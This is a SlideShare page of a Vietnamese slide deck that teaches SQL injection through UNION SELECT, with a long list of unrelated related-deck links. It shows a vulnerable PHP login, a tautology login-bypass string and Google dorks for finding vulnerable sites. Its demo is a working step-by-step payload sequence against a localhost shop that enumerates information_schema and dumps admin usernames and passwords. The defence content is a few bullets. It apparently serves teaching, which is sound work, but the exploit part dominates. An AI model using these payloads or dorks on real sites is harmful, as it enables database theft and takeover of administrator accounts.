SlideShare a Scribd company logo
Nguyễn Danh Thanh
TẤN CÔNG SQL INJECTION QUA
CÂU LỆNH SELECT, UNION
Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
Mục đích tấn công
• Đánh cắp dữ liệu từ web server
• Thay đổi dữ liệu
• Deface website
• Backdoor
Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
Cơ chế tấn công
• Lợi dụng lỗ hổng trong việc kiểm tra thông tin
đầu vào
<form action="" method="post">
Tài khoản: <input type="text" name=“user">
Mật khẩu: <input type="password" name=“pass">
<input type="submit“ value=“Đăng nhập”>
</form>
<?php
$user=$_POST[‘user’];
$pass=$_POST[‘pass’];
$sql=“SELECT * FROM tbl_user WHERE
user=‘$user’ && pass=‘$pass’”;
$query=mysql_query($sql);
$sql=“SELECT * FROM tbl_user WHERE
user=‘0’ or ‘1’=‘1’--’ &&
pass=‘123456’”;
• Thông báo lỗi của hệ quản trị CSDL
– Mysql_fetch_array();
– Database query failed…
– You have an error in your SQL systax…
Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
Phương thức tấn công
• Các dork ( Từ khóa tìm site bị lỗi)
– index.php?id=
– news.php id=
– article.php?id=
– games.php?id=
– opinions.php?id=
– pages.php?id=
– prod_detail.php?id=
– view.php?id=
………….
• Các bước tấn công sử dụng lệnh union select
– Kiểm tra lỗi sql injection.
– Tìm số cột mà câu truy vấn tạo ra.
– Tìm cột chứa thông tin có thể khai thác được.
– Xem phiên bản của CSDL và ngôn ngữ lập trình.
– Xác định tên bảng chứa thông tin người quản trị.
– Xác định tài khoản/mật khẩu của quản trị.
– Truy cập vào phần giành cho quản trị viên.
Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
Cách phòng chống
• Phòng chống từ mức xây dựng mã nguồn ứng
dụng
– Whilelist
– Backlist
• Bảo vệ từ mức nền tảng của hệ thống
Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
Demo
• Công cụ hỗ trợ
– Add-on hackBar.
– Web Admin Finder V2.0.
– Google.
Mục tiêu tấn công
Tấn công sql injection sử dụng câu lệnh select union
Tìm số cột mà câu truy vấn SQL tạo ra
http://localhost/maytinh/?frame=product_detail&id=289 order by 15-- -
Xác định vị trí xảy ra lỗi
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Xác định phiên bản ngôn ngữ lập trình
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--
Xác định tên các bảng trong CSDL
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('n',table_name))),7,8,9,10,11,12,13,14,15
from information_schema.tables where table_schema=database()--
Xác đinh các cột trong bảng tbl_user
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('n',column_name))),7,8,9,10,11,12,13,14,15
from information_schema.columns where table_name=0x74626c5f75736572--
Xác định thông tin username, password của Admin
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))),
7,8,9,10,11,12,13,14,15 from tbl_user--
Password: thietkewebx.net
Tìm đường dẫn trang quản trị
Localhost/maytinh/admin
Tấn công sql injection sử dụng câu lệnh select union
Tấn công sql injection sử dụng câu lệnh select union

More Related Content

PPT
Sql injection demo - it-slideshares.blogspot.com
PPTX
SQL Injection
PPT
SQL injection
PPTX
Báo cáo SQL injecttion
DOC
đồ áN phân tích thiết kế hệ thống quản lý bán hàng siêu thị
PDF
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
PDF
Đề tài: Triển khai DHCP Server trên mô hình mạng ba lớp, HOT
PDF
[123doc.vn] xay dung he thong mang cho doanh nhiep nho
Sql injection demo - it-slideshares.blogspot.com
SQL Injection
SQL injection
Báo cáo SQL injecttion
đồ áN phân tích thiết kế hệ thống quản lý bán hàng siêu thị
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
Đề tài: Triển khai DHCP Server trên mô hình mạng ba lớp, HOT
[123doc.vn] xay dung he thong mang cho doanh nhiep nho

What's hot (20)

DOCX
Đề tài: Tìm hiểu hệ thống phát hiện xâm nhập IDS-SNORT, 9đ
DOCX
Báo cáo môn mã nguồn mở
PDF
Phân tích mã độc cơ bản - báo cáo thực tập
DOC
Xây dựng phần mềm quản lý thông tin nhân sự trường Đại học Dân lập Hải Phòng
PPTX
Tổng quan về an toàn và bảo mật thông tin
PDF
Giáo trình Quản trị mạng
PPT
Chuong 3- CSDL phân tán
PDF
Bài 5: Thiết kế giao diện - Giáo trình FPT
PDF
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPT
DOC
Đề tài: Xây dựng phần mềm quản lý thông tin nhân sự ĐH Hải Phòng
DOCX
Kịch bản demo phát hiện xâm nhập sử dụng snort ids
PDF
Báo Cáo Đề Tài Xây Dựng Phần Mềm Quản Lí Khách Hàng Trên Android
DOCX
Báo cáo đồ án môn công nghệ phần mềm
PPTX
Slide Báo Cáo Đồ Án Tốt Nghiệp CNTT
DOC
Bao cao tttn an ninh web
PDF
Luận văn: Ứng dụng kỹ thuật học máy vào phát hiện mã độc, 9đ
PDF
An toan thong tin
PDF
Giáo trình phân tích thiết kế hệ thống thông tin
PPT
MATMA - Chuong2
PDF
Phân tích thiết kế hệ thống của hàng bán điện thoại di động
Đề tài: Tìm hiểu hệ thống phát hiện xâm nhập IDS-SNORT, 9đ
Báo cáo môn mã nguồn mở
Phân tích mã độc cơ bản - báo cáo thực tập
Xây dựng phần mềm quản lý thông tin nhân sự trường Đại học Dân lập Hải Phòng
Tổng quan về an toàn và bảo mật thông tin
Giáo trình Quản trị mạng
Chuong 3- CSDL phân tán
Bài 5: Thiết kế giao diện - Giáo trình FPT
Bài 6: Kiến thức cơ sở về điều khiển truy cập - Giáo trình FPT
Đề tài: Xây dựng phần mềm quản lý thông tin nhân sự ĐH Hải Phòng
Kịch bản demo phát hiện xâm nhập sử dụng snort ids
Báo Cáo Đề Tài Xây Dựng Phần Mềm Quản Lí Khách Hàng Trên Android
Báo cáo đồ án môn công nghệ phần mềm
Slide Báo Cáo Đồ Án Tốt Nghiệp CNTT
Bao cao tttn an ninh web
Luận văn: Ứng dụng kỹ thuật học máy vào phát hiện mã độc, 9đ
An toan thong tin
Giáo trình phân tích thiết kế hệ thống thông tin
MATMA - Chuong2
Phân tích thiết kế hệ thống của hàng bán điện thoại di động
Ad

Viewers also liked (20)

PPTX
XSS & SQL injection
DOC
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
PDF
các bước hack server
PPT
Những lỗi bảo mật web thường gặp ở phần application
PPTX
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
PDF
Sql injection2
DOCX
Thuc thi menh lenh voi co so du lieu
DOCX
Cach su dung databinding
PDF
Security Bootcamp 2013 owasp top 10- 2013
PPTX
The impact of sqli (sql injection)
PDF
Resumen de referencias (6)
PDF
Stored procedure
PPT
Công nghệ thông tin trong giáo dục
PPTX
Kiểm thử bảo mật web
PDF
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
PPT
bài giảng phân tích thiết kệ thống thông tin (hutech)
PPTX
HTTP POST DOS (Denial Of Service) (Demo tấn công DOS, phòng chống)
PPTX
Presentation on Web Attacks
PPTX
Tổng quan về DoS - DDoS - DRDoS
PDF
Tim hieu lo hong web va cach phong chong
XSS & SQL injection
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
các bước hack server
Những lỗi bảo mật web thường gặp ở phần application
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Sql injection2
Thuc thi menh lenh voi co so du lieu
Cach su dung databinding
Security Bootcamp 2013 owasp top 10- 2013
The impact of sqli (sql injection)
Resumen de referencias (6)
Stored procedure
Công nghệ thông tin trong giáo dục
Kiểm thử bảo mật web
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
bài giảng phân tích thiết kệ thống thông tin (hutech)
HTTP POST DOS (Denial Of Service) (Demo tấn công DOS, phòng chống)
Presentation on Web Attacks
Tổng quan về DoS - DDoS - DRDoS
Tim hieu lo hong web va cach phong chong
Ad

Similar to Tấn công sql injection sử dụng câu lệnh select union (20)

PPT
Sql injection it-slideshares.blogspot.com
PPT
Sql injection bao cao - http://ouo.io/Mqc8L5
PDF
Athena báo cáo thực tập tuần 2
PDF
Athena báo cáo thực tập tuần 2
PDF
Sql injection2
PDF
Tan cong kieu sql injection tac hai va phong tranh vn
PPTX
SQL-Injection-Hieu-va-Phongb-Chonga.pptx
DOCX
PHP Security SQL injection
DOCX
Athena báo cáo thực tập tuần 2
PPTX
Sql injection
PDF
Note4_ThucHanh.pdf
PDF
Web course php & csdl
DOCX
Th csdl final_23_dec
PDF
Approach sqlinjection
DOCX
Thcsdlfinal23dec 131022060523-phpapp02
PDF
Giáo trình sql server đại học công nghiệp[bookbooming.com]
PDF
huong dan PHP-2
PDF
Bài 2 Các kỹ thuật lập trình MySQL với PHP nâng cao - Xây dựng ứng dụng web
PDF
Web301 slide 2
Sql injection it-slideshares.blogspot.com
Sql injection bao cao - http://ouo.io/Mqc8L5
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
Sql injection2
Tan cong kieu sql injection tac hai va phong tranh vn
SQL-Injection-Hieu-va-Phongb-Chonga.pptx
PHP Security SQL injection
Athena báo cáo thực tập tuần 2
Sql injection
Note4_ThucHanh.pdf
Web course php & csdl
Th csdl final_23_dec
Approach sqlinjection
Thcsdlfinal23dec 131022060523-phpapp02
Giáo trình sql server đại học công nghiệp[bookbooming.com]
huong dan PHP-2
Bài 2 Các kỹ thuật lập trình MySQL với PHP nâng cao - Xây dựng ứng dụng web
Web301 slide 2

Recently uploaded (20)

PDF
BÀI TẬP TEST FOR UNIT TIẾNG ANH LỚP 8 GLOBAL SUCCESS CẢ NĂM THEO TỪNG ĐƠN VỊ ...
PPTX
Chương 1 – Tổng quan về Cơ sở dữ liệu.pptx
PPTX
CHƯƠNG I excel,,,,,,,,,,,,,,,,,,,,,,,,,,
PDF
Quyền-biểu-tình-của-công-dân-theo-hiến-pháp-Việt-Nam.pdf
PDF
PHÁT TRIỂN NĂNG LỰC KHÁM PHÁ TỰ NHIÊN CHO HỌC SINH TRONG DẠY HỌC CHỦ ĐỀ VẬT S...
PPTX
Direct Marketing- chieu thi truyen thong
PPTX
White and Purple Modern Artificial Intelligence Presentation.pptx
PPT
Bài giảng Power Point 2003, hướng dẫn học tập
PPT
Bài giảng Cơ sở dữ liệu Table trong Access
DOC
Chương 1 Tính tương đổi của chuyển động.doc
DOCX
Bài tập trăc nghiệm vận tốc. tốc độ trong chuyển động thẳng
PDF
12894-44864-1-CE-1037-1038_Văn bản của bài báo.pdf
PPTX
TIẾT 8, 9, 10. BÀI 32. DINH DƯỠNG VÀ TIÊU HÓA Ở NGƯỜI.pptx
PPTX
17. ĐẠI CƯƠNG GÃY XƯƠNG bệnh học ngoại.pptx
PPTX
b44_nhiem_zf_tinhjjjjjjjjjjjjjjjjjj.pptx
PDF
CHƯƠNG 1-P2: ĐẢNG CỘNG SẢN VIỆT NAM RA ĐỜI VÀ LÃNH ĐẠO ĐẤU TRANH GIÀNH CHÍNH ...
PDF
Vision - Language - Model-- - Ebook.pdf
PDF
Dao tao va Phat trien NỘI DUNG ÔN THI CHO SINH VIÊN
PPTX
24. 9cqbq2reu57m5igbsz-signature-40d40b8bd600bcde0d0584523c684ec4933c280de74a...
DOCX
Luận văn group-Bài tiểu luận Ý thức - Giấc mơ.docx
BÀI TẬP TEST FOR UNIT TIẾNG ANH LỚP 8 GLOBAL SUCCESS CẢ NĂM THEO TỪNG ĐƠN VỊ ...
Chương 1 – Tổng quan về Cơ sở dữ liệu.pptx
CHƯƠNG I excel,,,,,,,,,,,,,,,,,,,,,,,,,,
Quyền-biểu-tình-của-công-dân-theo-hiến-pháp-Việt-Nam.pdf
PHÁT TRIỂN NĂNG LỰC KHÁM PHÁ TỰ NHIÊN CHO HỌC SINH TRONG DẠY HỌC CHỦ ĐỀ VẬT S...
Direct Marketing- chieu thi truyen thong
White and Purple Modern Artificial Intelligence Presentation.pptx
Bài giảng Power Point 2003, hướng dẫn học tập
Bài giảng Cơ sở dữ liệu Table trong Access
Chương 1 Tính tương đổi của chuyển động.doc
Bài tập trăc nghiệm vận tốc. tốc độ trong chuyển động thẳng
12894-44864-1-CE-1037-1038_Văn bản của bài báo.pdf
TIẾT 8, 9, 10. BÀI 32. DINH DƯỠNG VÀ TIÊU HÓA Ở NGƯỜI.pptx
17. ĐẠI CƯƠNG GÃY XƯƠNG bệnh học ngoại.pptx
b44_nhiem_zf_tinhjjjjjjjjjjjjjjjjjj.pptx
CHƯƠNG 1-P2: ĐẢNG CỘNG SẢN VIỆT NAM RA ĐỜI VÀ LÃNH ĐẠO ĐẤU TRANH GIÀNH CHÍNH ...
Vision - Language - Model-- - Ebook.pdf
Dao tao va Phat trien NỘI DUNG ÔN THI CHO SINH VIÊN
24. 9cqbq2reu57m5igbsz-signature-40d40b8bd600bcde0d0584523c684ec4933c280de74a...
Luận văn group-Bài tiểu luận Ý thức - Giấc mơ.docx

Tấn công sql injection sử dụng câu lệnh select union

  • 1. Nguyễn Danh Thanh TẤN CÔNG SQL INJECTION QUA CÂU LỆNH SELECT, UNION
  • 2. Nội dung • Mục đích tấn công • Cơ chế tấn công • Phương thức tấn công • Cách phòng chống • Demo
  • 3. Mục đích tấn công • Đánh cắp dữ liệu từ web server • Thay đổi dữ liệu • Deface website • Backdoor
  • 4. Nội dung • Mục đích tấn công • Cơ chế tấn công • Phương thức tấn công • Cách phòng chống • Demo
  • 6. • Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào <form action="" method="post"> Tài khoản: <input type="text" name=“user"> Mật khẩu: <input type="password" name=“pass"> <input type="submit“ value=“Đăng nhập”> </form> <?php $user=$_POST[‘user’]; $pass=$_POST[‘pass’]; $sql=“SELECT * FROM tbl_user WHERE user=‘$user’ && pass=‘$pass’”; $query=mysql_query($sql);
  • 7. $sql=“SELECT * FROM tbl_user WHERE user=‘0’ or ‘1’=‘1’--’ && pass=‘123456’”;
  • 8. • Thông báo lỗi của hệ quản trị CSDL – Mysql_fetch_array(); – Database query failed… – You have an error in your SQL systax…
  • 9. Nội dung • Mục đích tấn công • Cơ chế tấn công • Phương thức tấn công • Cách phòng chống • Demo
  • 10. Phương thức tấn công • Các dork ( Từ khóa tìm site bị lỗi) – index.php?id= – news.php id= – article.php?id= – games.php?id= – opinions.php?id= – pages.php?id= – prod_detail.php?id= – view.php?id= ………….
  • 11. • Các bước tấn công sử dụng lệnh union select – Kiểm tra lỗi sql injection. – Tìm số cột mà câu truy vấn tạo ra. – Tìm cột chứa thông tin có thể khai thác được. – Xem phiên bản của CSDL và ngôn ngữ lập trình. – Xác định tên bảng chứa thông tin người quản trị. – Xác định tài khoản/mật khẩu của quản trị. – Truy cập vào phần giành cho quản trị viên.
  • 12. Nội dung • Mục đích tấn công • Cơ chế tấn công • Phương thức tấn công • Cách phòng chống • Demo
  • 13. Cách phòng chống • Phòng chống từ mức xây dựng mã nguồn ứng dụng – Whilelist – Backlist • Bảo vệ từ mức nền tảng của hệ thống
  • 14. Nội dung • Mục đích tấn công • Cơ chế tấn công • Phương thức tấn công • Cách phòng chống • Demo
  • 15. Demo • Công cụ hỗ trợ – Add-on hackBar. – Web Admin Finder V2.0. – Google.
  • 18. Tìm số cột mà câu truy vấn SQL tạo ra http://localhost/maytinh/?frame=product_detail&id=289 order by 15-- -
  • 19. Xác định vị trí xảy ra lỗi http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
  • 20. Xác định phiên bản ngôn ngữ lập trình http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--
  • 21. Xác định tên các bảng trong CSDL http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('n',table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--
  • 22. Xác đinh các cột trong bảng tbl_user http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('n',column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572--
  • 23. Xác định thông tin username, password của Admin http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))), 7,8,9,10,11,12,13,14,15 from tbl_user--
  • 25. Tìm đường dẫn trang quản trị Localhost/maytinh/admin

Editor's Notes

  • #14: Chuẩn hóa dữ liệuBảo vệ từ mức nền tảng của hệ thống
  • #19: http://localhost/maytinh/?frame=product_detail&amp;id=289 order by 15-- -
  • #20: http://localhost/maytinh/?frame=product_detail&amp;id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
  • #21: http://localhost/maytinh/?frame=product_detail&amp;id=-289 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--
  • #22: http://localhost/maytinh/?frame=product_detail&amp;id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(&apos;\n&apos;,table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--
  • #23: http://localhost/maytinh/?frame=product_detail&amp;id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(&apos;\n&apos;,column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572--
  • #24: http://localhost/maytinh/?frame=product_detail&amp;id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c, uid,0x7c, pwd))),7,8,9,10,11,12,13,14,15 from tbl_user--